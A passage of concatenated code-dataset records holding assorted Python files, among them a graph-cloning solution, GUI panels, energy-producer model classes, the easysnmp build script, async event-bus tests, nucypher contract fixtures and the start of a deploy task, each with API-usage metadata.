"line_number": 102, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 103, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 103, "usage_type": "attribute"}, {"api_name": "daemon.DaemonContext", "line_number": 109, "usage_type": "call"}, {"api_name": "daemon.pidfile.TimeoutPIDLockFile", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 128, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 129, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 132, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "psutil.Popen", "line_number": 136, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 139, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 140, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 140, "usage_type": "attribute"}, {"api_name": "psutil.Process", "line_number": 142, "usage_type": "call"}]} {"seq_id": "109684845", "text": "\"\"\"\r\n# Definition for a Node.\r\nclass Node:\r\n def __init__(self, val, neighbors):\r\n self.val = val\r\n self.neighbors = neighbors\r\n\"\"\"\r\n\"\"\"\r\n# Definition for a Node.\r\nclass Node:\r\n def __init__(self, val = 0, neighbors = []):\r\n self.val = val\r\n self.neighbors = neighbors\r\n\"\"\"\r\n\r\nfrom collections import defaultdict, deque\r\nclass Solution:\r\n def cloneGraph(self, root: 'Node') -> 'Node':\r\n \r\n if not root:\r\n return None\r\n \r\n queue = deque([root])\r\n o2n = defaultdict(Node)\r\n seen = set()\r\n while queue:\r\n q_len = len(queue)\r\n for _ in range(q_len):\r\n node = queue.popleft()\r\n if node not in seen:\r\n seen.add(node)\r\n queue.extend(node.neighbors)\r\n o2n[node].val = node.val\r\n for neighbor in node.neighbors:\r\n o2n[node].neighbors.append(o2n[neighbor])\r\n return o2n[root]\r\n", "sub_path": "solutions/133-clone-graph/clone-graph.py", "file_name": "clone-graph.py", "file_ext": "py", "file_size_in_byte": 1022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.deque", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 24, "usage_type": "call"}]} {"seq_id": "204876430", "text": "\"\"\"\nJeroen Kuivenhoven s1084216\n\n\"\"\"\n\nimport wx\n\n\nclass Welkomstscherm(wx.Panel):\n def __init__(self, parent, id):\n \"\"\"\n \"\"\"\n wx.Panel.__init__(self, parent, id)\n paneel1 = wx.Panel(self, id)\n self.teksten(paneel1)\n self.buttons()\n boxje = self.boxen(paneel1)\n self.eindbox = wx.BoxSizer()\n self.eindbox.Add(boxje, 1, wx.EXPAND | wx.ALL)\n self.SetSizer(self.eindbox)\n \n\n def teksten(self, paneel1):\n \"\"\" \n \"\"\"\n #paneel1.SetBackgroundColour(\"Black\")\n titeltje = wx.StaticText(paneel1, -1, \"Wat voor tijd is het?\",\n pos=(200, 10), size=(295, -1),\n style=wx.ALIGN_CENTER)\n titeltje.SetForegroundColour((232,144,30))\n titeltje.SetFont(wx.Font(40, wx.DECORATIVE, wx.NORMAL, wx.NORMAL))\n\n def buttons(self):\n \"\"\" \n \"\"\"\n plaatje1=wx.Image(\"koffiebonen3.bmp\", wx.BITMAP_TYPE_BMP).ConvertToBitmap()\n plaatje2=wx.Image(\"bier3.bmp\", wx.BITMAP_TYPE_BMP).ConvertToBitmap()\n self.koffie_knop = wx.BitmapButton(self, -1, plaatje1, size=(450,300))\n self.bier_knop = wx.BitmapButton(self, -1, plaatje2, size=(450,300))\n #paneel2 = wx.Panel(self, id)\n #koffietekst = wx.StaticText(paneel2, -1, \"koffie\",\n # size=(295, -1), style=wx.ALIGN_CENTER)\n #koffietekst.SetFont(wx.Font(30, wx.DECORATIVE, wx.NORMAL, wx.NORMAL))\n #self.stoppen_knop = wx.Button(self, -1, (\"koffie\"))\n #self.starten_knop = wx.Button(self, -1, (\"BIER\"))\n\n def boxen(self, paneel1):\n \"\"\" \n \"\"\"\n knopboxje = wx.BoxSizer(wx.HORIZONTAL)\n knopboxje.Add(self.koffie_knop, 1, wx.EXPAND | wx.ALL)\n knopboxje.Add(self.bier_knop, 1, wx.EXPAND | wx.ALL)\n boxje = wx.BoxSizer(wx.VERTICAL)\n boxje.Add(paneel1, 1, wx.EXPAND | wx.ALL)\n boxje.Add(knopboxje, 8, wx.EXPAND | wx.ALL)\n return boxje\n", "sub_path": "welkomstscherm_1.py", "file_name": "welkomstscherm_1.py", "file_ext": "py", "file_size_in_byte": 2002, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "wx.Panel", "line_number": 9, "usage_type": "attribute"}, {"api_name": "wx.Panel.__init__", "line_number": 13, "usage_type": "call"}, {"api_name": "wx.Panel", "line_number": 13, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 14, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 18, "usage_type": "call"}, {"api_name": "wx.EXPAND", "line_number": 19, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 19, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 27, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.Font", "line_number": 31, "usage_type": "call"}, {"api_name": "wx.DECORATIVE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wx.NORMAL", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wx.Image", "line_number": 36, "usage_type": "call"}, {"api_name": "wx.BITMAP_TYPE_BMP", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wx.Image", "line_number": 37, "usage_type": "call"}, {"api_name": "wx.BITMAP_TYPE_BMP", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.BitmapButton", "line_number": 38, "usage_type": "call"}, {"api_name": "wx.BitmapButton", "line_number": 39, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 50, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 50, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 52, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 52, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 53, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 53, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 54, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 54, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 55, "usage_type": "attribute"}]} {"seq_id": "432641855", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 16 18:25:19 2018\n\n@author: thibaultmartinelle\n\"\"\"\n\nimport numpy as np\nimport scipy\nfrom scipy.optimize import fsolve\nfrom scipy.interpolate import CubicSpline\nimport warnings\nimport matplotlib.pyplot as plt\nwarnings.filterwarnings('ignore', 'The iteration is not making good progress')\n\nclass PVPark:\n def __init__(self, region, specs, size, dt):\n self.name = region['name']\n self.size = size\n self.dt = dt\n\n # Specs\n self.Pmin = region['installed_cap']\n self.efficiency = specs['efficiency']\n self.minM2 = self.Pmin / (1000 * self.efficiency)\n self.maxM2 = region['potential'] / specs['pps']\n self.CO2perMWh = specs['CO2perMWh']\n self.costpermsq = specs['cost']\n self.lifetime = specs['lifetime']*8760 # hour\n self.load_fac = region['load_factor']\n\n # Set irradiance\n self.irr = np.loadtxt(open(region['data_file'],'r'), skiprows=0)\n self.irr = self.irr.reshape(-1,self.dt).mean(axis=1) # Reshape according to the time step\n\n # Set production per m^2\n Pnom = 1000 # W/m^2, Nominal power of PV in Standard Test Conditions\n\n # Find the coefficient to apply to the irradiance to match the load factor\n correction_coeff = fsolve(lambda coef: self.load_fac - sum(self.irr*coef*self.efficiency)/(self.efficiency*Pnom*self.size),1)\n self.irr = self.irr * correction_coeff\n self.prod_unit = self.irr*self.efficiency\n\n def set_opti(self, surf_pv, p_gen):\n # Set the optimal values\n self.surf_pv = surf_pv\n self.p_gen = p_gen\n\nclass WTPark:\n def __init__(self, region, specs, size, dt, onshore):\n if onshore:\n self.onshore = True; self.offshore = False\n self.name = region['name'] + '_onshore'\n else:\n self.onshore = False; self.offshore = True\n self.name = region['name'] + '_offshore'\n self.size = size\n self.dt = dt\n\n # Specs\n self.n_max = region['potential'] * specs['pps'] / specs['p_nom']\n self.n_min = region['installed_cap'] / specs['p_nom']\n self.CO2perMWh = specs['CO2perMWh']\n self.costperWTinst = specs['cost']\n self.lifetime = specs['lifetime']*8760 # hour\n self.cut_in = specs['cut_in']\n self.cut_off = specs['cut_off']\n self.rated_speed = specs['rated_speed']\n self.wind_maxpower = self.rated_speed\n self.p_nom = specs['p_nom']\n self.load_fac = region['load_factor']\n self.wtpc = np.array(specs['wtpc'])\n\n # Set wind\n self.wind = np.loadtxt(open(region['data_file'],'r'), skiprows=0)\n self.wind = self.wind.reshape(-1,self.dt).mean(axis=1) # Reshape according to the time step\n\n # Set production - Interpolates wtpc with cubic splines\n splines = CubicSpline(np.linspace(self.cut_in,self.rated_speed,len(self.wtpc)),self.wtpc)\n eta = lambda wind: ((wind >= self.rated_speed) & (wind <= self.cut_off)) \\\n + ((wind >= self.cut_in) & (wind <= self.rated_speed)) * splines(wind)\n\n # Plot WTPC\n #w = np.linspace(0,30,100)\n #plt.plot(w,eta(w))\n #plt.show()\n\n correction_coeff = fsolve(lambda coef: self.load_fac - sum(self.p_nom*eta(self.wind*coef))/(self.p_nom*self.size),1)\n self.prod_unit = self.p_nom * eta(self.wind * correction_coeff)\n\n def set_opti(self, n_wt, p_gen):\n # Set the optimal values\n self.n_wt = n_wt\n self.p_gen = p_gen\n\nclass CCGTPlant:\n def __init__(self, specs):\n self.Pmax = specs['p_max']\n self.Pmin = specs['p_min']\n self.CO2perMWh = specs['CO2perMWh']\n self.efficiency = specs['efficiency']\n\n def set_opti(self, p_gen, gas_import):\n self.p_gen = p_gen\n self.p_NRE = gas_import * self.efficiency\n self.p_RE = self.p_gen - self.p_NRE\n\nclass CoalPlant:\n def __init__(self, specs):\n self.Pmax = specs['p_max']\n self.Pmin = specs['p_min']\n self.CO2perMWh = specs['CO2perMWh']\n self.efficiency = specs['efficiency']\n\n def set_opti(self, p_gen):\n self.p_gen = p_gen\n\nclass NuclearPlant:\n def __init__(self, specs, size):\n self.size = size\n self.p_inst = specs['installed_cap']\n self.CO2perMWh = specs['CO2perMWh']\n self.load_fac = specs['load_factor']\n self.p_ut = self.load_fac * self.p_inst\n self.p_gen = self.p_ut * np.ones(size)\n\n def set_opti(self, p_gen):\n self.p_gen = np.linspace(p_gen, p_gen, self.size)\n\nclass DamPlant:\n def __init__(self, specs, size, dt):\n self.size = size\n self.dt = dt\n self.p_inst = specs['installed_cap']\n self.capacity = specs['capacity']\n self.annual_prod = specs['annual_prod']\n self.CO2perMWh = specs['CO2perMWh']\n self.efficiency_out = specs['efficiency_out']\n\n # Local inflow m^3/s\n self.inflow = np.loadtxt(open(specs['data_file'],'r'), skiprows=1)\n if np.sum(self.inflow) != 0:\n self.inflow = self.inflow/sum(self.inflow)*self.annual_prod\n self.local_in = self.inflow.reshape(-1,self.dt).mean(axis=1)\n\n def set_opti(self, p_out, energy):\n self.p_out=p_out\n self.energy = energy\n\nclass RunRiver:\n def __init__(self, specs, size, dt):\n self.size = size\n self.dt = dt\n self.p_inst = specs['installed_cap']\n self.annual_prod = specs['annual_prod']\n self.CO2perMWh = specs['CO2perMWh']\n self.efficiency = specs['efficiency']\n\n # Local inflow m^3/s\n self.inflow = np.loadtxt(open(specs['data_file'],'r'), skiprows=1)\n if np.sum(self.inflow) != 0:\n self.inflow = self.inflow/sum(self.inflow)*self.annual_prod\n self.local_in = self.inflow.reshape(-1,self.dt).mean(axis=1)\n\n def set_opti(self,p_gen):\n self.p_gen=p_gen\n", "sub_path": "Producers.py", "file_name": "Producers.py", "file_ext": "py", "file_size_in_byte": 6153, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "warnings.filterwarnings", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.optimize.fsolve", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 76, "usage_type": "call"}, {"api_name": "scipy.interpolate.CubicSpline", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.optimize.fsolve", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 162, "usage_type": "call"}]} {"seq_id": "186487999", "text": "import PySimpleGUI as sg\nimport sys\n\nlayout = [\n [sg.Input(key='caminho_arquivo')],\n [sg.FileBrowse('Carregar arquivos', \n target='caminho_arquivo', \n file_types=((\"Arquivos de Texto\", '*.txt'),\n (\"Imagens PNG\", '*.png'),\n (\"Todos os arquivos\", '.*'),)),\n sg.Button('Ler arquivo', key='ler_arquivo')],\n\n]\n\njanela = sg.Window('Janela', layout)\n\nwhile True:\n evento, valores = janela.Read()\n\n if evento == sg.WINDOW_CLOSED:\n janela.close()\n sys.exit()\n\n if evento == 'ler_arquivo':\n caminho_arquivo = valores['caminho_arquivo']\n with open(caminho_arquivo, 'r') as arquivo:\n for linha in arquivo:\n print(linha)\n else:\n print(evento)", "sub_path": "mestre_das_telas/acessando_arquivos_internos_file_browse.py", "file_name": "acessando_arquivos_internos_file_browse.py", "file_ext": "py", "file_size_in_byte": 814, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PySimpleGUI.Input", "line_number": 5, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileBrowse", "line_number": 6, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 11, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 15, "usage_type": "call"}, {"api_name": "PySimpleGUI.WINDOW_CLOSED", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 22, "usage_type": "call"}]} {"seq_id": "625869190", "text": "from subprocess import check_output\nfrom sys import argv, platform, exit\nfrom shlex import split as s_split\n\nfrom distutils import sysconfig\nfrom distutils.command import build\nfrom setuptools import setup, Extension\nfrom setuptools.command.test import test as TestCommand\nfrom setuptools import dist\n\n# Determine if a base directory has been provided with the --basedir option\nbasedir = None\nin_tree = False\n# Add compiler flags if debug is set\ncompile_args = []\nlink_args = []\nfor arg in argv:\n if arg.startswith('--debug'):\n # Note from GCC manual:\n # If you use multiple -O options, with or without level numbers,\n # the last such option is the one that is effective.\n compile_args.extend(['-Wall', '-O0', '-g'])\n elif arg.startswith('--basedir='):\n basedir = arg.split('=')[1]\n in_tree = True\n\n\n# If a base directory has been provided, we use it\nif in_tree:\n base_cmd = '{0}/net-snmp-config {{{0}}}'.format(basedir)\n libs_cmd = base_cmd.format('--build-lib-dirs {0}'.format(basedir))\n incl_cmd = base_cmd.format('--build-includes {0}'.format(basedir))\n\n netsnmp_libs = check_output(base_cmd.format('--libs'), shell=True).decode()\n libdirs = check_output(libs_cmd, shell=True).decode()\n incdirs = check_output(incl_cmd, shell=True).decode()\n\n libs = [flag[2:] for flag in s_split(netsnmp_libs) if flag[:2] == '-l']\n libdirs = [flag[2:] for flag in s_split(libdirs) if flag[:2] == '-L']\n incdirs = [flag[2:] for flag in s_split(incdirs) if flag[:2] == '-I']\n\n# Otherwise, we use the system-installed SNMP libraries\nelse:\n netsnmp_libs = check_output('net-snmp-config --libs', shell=True).decode()\n\n pass_next = False\n has_arg = ('-framework',)\n for flag in s_split(netsnmp_libs):\n if pass_next:\n link_args.append(flag)\n pass_next = False\n elif flag in has_arg: # -framework CoreFoundation\n link_args.append(flag)\n pass_next = True\n elif flag[:2] == '-f': # -flat_namespace\n link_args.append(flag)\n pass_next = False\n\n # link_args += [flag for flag in s_split(netsnmp_libs) if flag[:2] == '-f']\n libs = [flag[2:] for flag in s_split(netsnmp_libs) if flag[:2] == '-l']\n libdirs = [flag[2:] for flag in s_split(netsnmp_libs) if flag[:2] == '-L']\n incdirs = []\n\n if platform == 'darwin': # OS X\n brew = check_output('brew info net-snmp', shell=True).decode()\n if 'command not found' not in brew:\n # /usr/local/opt is the default brew `opt` prefix, however the user\n # may have installed it elsewhere. The `brew info <pkg>` includes\n # an apostrophe, which breaks shlex. We'll simply replace it\n buildvars = list(\n map(lambda e: e.split('\"', 1)[1].strip('\"'),\n filter(lambda var: '=\"' in var, brew.split())))\n libdirs += [flag[2:] for flag in buildvars if flag[:2] == '-L']\n incdirs += [flag[2:] for flag in buildvars if flag[:2] == '-I']\n # The homebrew version also depends on the Openssl keg\n openssl_ver = list(filter(lambda o: 'openssl' in o, *map(str.split,\n filter(lambda l: 'openssl' in l,\n str(brew.replace('\\'', '')).split('\\n')\n ))))[0]\n brew = check_output(\n 'brew info {0}'.format(openssl_ver),\n shell=True\n ).decode()\n buildvars = list(\n map(lambda e: e.split('\"', 1)[1].strip('\"'),\n filter(lambda var: '=\"' in var, brew.split())))\n libdirs += [flag[2:] for flag in buildvars if flag[:2] == '-L']\n incdirs += [flag[2:] for flag in buildvars if flag[:2] == '-I']\n\n\n# Setup the py.test class for use with the test command\nclass PyTest(TestCommand):\n user_options = [('pytest-args=', 'a', 'Arguments to pass to py.test')]\n\n def initialize_options(self):\n TestCommand.initialize_options(self)\n self.pytest_args = []\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n # Import here, cause outside the eggs aren't loaded\n import pytest\n errno = pytest.main(self.pytest_args)\n exit(errno)\n\n\n# Read the long description from README.rst\nwith open('README.rst') as f:\n long_description = f.read()\n\n\nsetup(\n name='easysnmp',\n version='0.2.6a1',\n description='A blazingly fast and Pythonic SNMP library based on the '\n 'official Net-SNMP bindings',\n long_description=long_description,\n author='Kent Coble',\n author_email='coblekent@gmail.com',\n url='https://github.com/kamakazikamikaze/easysnmp',\n license='BSD',\n packages=['easysnmp'],\n tests_require=['pytest-cov', 'pytest-flake8', 'pytest-sugar', 'pytest'],\n cmdclass={'test': PyTest},\n ext_modules=[\n Extension(\n 'easysnmp.interface', ['easysnmp/interface.c'],\n library_dirs=libdirs, include_dirs=incdirs, libraries=libs,\n extra_compile_args=compile_args, extra_link_args=link_args\n )\n ],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Topic :: System :: Networking',\n 'Topic :: System :: Networking :: Monitoring'\n ]\n)\n\nif platform == 'darwin': # Newer Net-SNMP dylib may not be linked to properly\n b = build.build(dist.Distribution()) # Dynamically determine build path\n b.finalize_options()\n ext = sysconfig.get_config_var('EXT_SUFFIX') or '.so' # None for Python 2\n linked = check_output((\n \"otool -L {0}/easysnmp/interface{1} | \"\n r\"egrep 'libnetsnmp\\.' | \"\n \"tr -s '\\t' ' ' | \"\n \"cut -d' ' -f2\").format(\n b.build_platlib,\n ext\n ),\n shell=True).decode().strip()\n target_libs = check_output(\n \"find {0} -name libnetsnmp.*.dylib\".format(' '.join(libdirs)),\n shell=True).decode().strip().split()\n prefix = check_output(\n \"net-snmp-config --prefix\",\n shell=True).decode().strip()\n for lib in target_libs:\n if prefix in lib:\n target_lib = lib\n break\n _ = check_output(\n 'install_name_tool -change {0} {1} {2}/easysnmp/interface{3}'.format(\n linked, target_lib, b.build_platlib, ext),\n shell=True)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 7007, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 17, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 34, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 35, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 36, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 38, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 39, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 40, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 44, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 48, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 60, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 64, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 80, "usage_type": "call"}, {"api_name": "setuptools.command.test.test", "line_number": 92, "usage_type": "name"}, {"api_name": "setuptools.command.test.test.initialize_options", "line_number": 96, "usage_type": "call"}, {"api_name": "setuptools.command.test.test", "line_number": 96, "usage_type": "name"}, {"api_name": "setuptools.command.test.test.finalize_options", "line_number": 100, "usage_type": "call"}, {"api_name": "setuptools.command.test.test", "line_number": 100, "usage_type": "name"}, {"api_name": "pytest.main", "line_number": 107, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 108, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 116, "usage_type": "call"}, {"api_name": "setuptools.Extension", "line_number": 130, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 154, "usage_type": "name"}, {"api_name": "distutils.command.build.build", "line_number": 155, "usage_type": "call"}, {"api_name": "distutils.command.build", "line_number": 155, "usage_type": "name"}, {"api_name": "setuptools.dist.Distribution", "line_number": 155, "usage_type": "call"}, {"api_name": "setuptools.dist", "line_number": 155, "usage_type": "name"}, {"api_name": "distutils.sysconfig.get_config_var", "line_number": 157, "usage_type": "call"}, {"api_name": "distutils.sysconfig", "line_number": 157, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 158, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 167, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 170, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 177, "usage_type": "call"}]} {"seq_id": "644914232", "text": "import pytest\nimport asyncio\n\nfrom event_bus_advanced_examples.EventBusDefaultDict import EventBusDefaultDict\n\n@pytest.mark.asyncio\nasync def test_subscribe_remove_and_emit():\n a_first_events = []\n a_second_events = []\n b_first_events = []\n\n async def a_first(event_data): a_first_events.append(event_data)\n async def a_second(event_data): a_second_events.append(event_data)\n async def b_first(event_data): b_first_events.append(event_data)\n\n event_bus = EventBusDefaultDict()\n event_bus.add_listener('a', a_first)\n event_bus.add_listener('a', a_second)\n event_bus.add_listener('b', b_first)\n\n event_one = {}\n event_bus.emit('a', event_one)\n await asyncio.sleep(0.1)\n\n assert len(a_first_events) == 1\n assert a_first_events[0] == event_one\n assert len(a_second_events) == 1\n assert a_second_events[0] == event_one\n assert len(b_first_events) == 0\n\n event_two = {}\n event_bus.emit('b', event_two)\n await asyncio.sleep(0.1)\n assert len(a_first_events) == 1\n assert len(a_second_events) == 1\n assert len(b_first_events) == 1\n assert b_first_events[0] == event_two\n\n event_bus.remove_listener('b', b_first)\n event_three = {}\n event_bus.emit('b', event_three)\n await asyncio.sleep(0.1)\n assert len(b_first_events) == 1\n\n event_bus.remove_listener('a', a_first)\n event_four = {}\n event_bus.emit('a', event_four)\n await asyncio.sleep(0.1)\n assert len(a_first_events) == 1\n assert len(a_second_events) == 2\n assert a_second_events[0] == event_four\n", "sub_path": "event_bus_other_examples/EventBusDefaultDict_test.py", "file_name": "EventBusDefaultDict_test.py", "file_ext": "py", "file_size_in_byte": 1477, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "event_bus_advanced_examples.EventBusDefaultDict.EventBusDefaultDict", "line_number": 16, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}]} {"seq_id": "199519083", "text": "\"\"\"\nThis file is part of nucypher.\n\nnucypher is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nnucypher is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with nucypher. If not, see <https://www.gnu.org/licenses/>.\n\"\"\"\nimport pytest\nfrom web3.contract import Contract\n\n\nsecret = (123456).to_bytes(32, byteorder='big')\n\n\n@pytest.fixture()\ndef token(testerchain):\n # Create an ERC20 token\n token, _ = testerchain.interface.deploy_contract('NuCypherToken', int(2e9))\n return token\n\n\n@pytest.fixture()\ndef escrow(testerchain, token):\n creator = testerchain.interface.w3.eth.accounts[0]\n # Creator deploys the escrow\n contract, _ = testerchain.interface.deploy_contract('MinersEscrowForUserEscrowMock', token.address)\n\n # Give some coins to the escrow\n tx = token.functions.transfer(contract.address, 10000).transact({'from': creator})\n testerchain.wait_for_receipt(tx)\n\n return contract\n\n\n@pytest.fixture()\ndef policy_manager(testerchain):\n contract, _ = testerchain.interface.deploy_contract('PolicyManagerForUserEscrowMock')\n return contract\n\n\n@pytest.fixture()\ndef proxy(testerchain, token, escrow, policy_manager):\n # Creator deploys the user escrow proxy\n contract, _ = testerchain.interface.deploy_contract(\n 'UserEscrowProxy', token.address, escrow.address, policy_manager.address)\n return contract\n\n\n@pytest.fixture()\ndef linker(testerchain, proxy):\n secret_hash = testerchain.interface.w3.sha3(secret)\n linker, _ = testerchain.interface.deploy_contract('UserEscrowLibraryLinker', proxy.address, secret_hash)\n return linker\n\n\n@pytest.fixture()\ndef user_escrow(testerchain, token, linker):\n creator = testerchain.interface.w3.eth.accounts[0]\n user = testerchain.interface.w3.eth.accounts[1]\n\n contract, _ = testerchain.interface.deploy_contract('UserEscrow', linker.address, token.address)\n\n # Transfer ownership\n tx = contract.functions.transferOwnership(user).transact({'from': creator})\n testerchain.wait_for_receipt(tx)\n return contract\n\n\n@pytest.fixture()\ndef user_escrow_proxy(testerchain, proxy, user_escrow):\n return testerchain.interface.w3.eth.contract(\n abi=proxy.abi,\n address=user_escrow.address,\n ContractFactoryClass=Contract)\n", "sub_path": "tests/blockchain/eth/contracts/main/user_escrow/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 2673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pytest.fixture", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 44, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 50, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 58, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 65, "usage_type": "call"}, {"api_name": "web3.contract.Contract", "line_number": 83, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 78, "usage_type": "call"}]} {"seq_id": "415219605", "text": "# -*- encoding: utf-8 -*-\n#\n# Copyright 2012 posativ <info@posativ.org>. All rights reserved.\n# License: BSD Style, 2 clauses. see acrylamid/__init__.py\n\nimport sys\nimport os\nimport argparse\nimport subprocess\n\nfrom acrylamid import log\nfrom acrylamid.tasks import argument, task\nfrom acrylamid.errors import AcrylamidException\n\narguments = [argument(\"task\", nargs=\"?\"), argument(\"args\", nargs=argparse.REMAINDER)]\n\n\n@task(['deploy', 'dp'], arguments, help=\"run task\")\ndef run(conf, env, options):\n \"\"\"Subcommand: deploy -- run the shell command specified in\n DEPLOYMENT[task] using Popen. Each string value from :doc:`conf.py` is\n added to the execution environment. Every argument after ``acrylamid\n 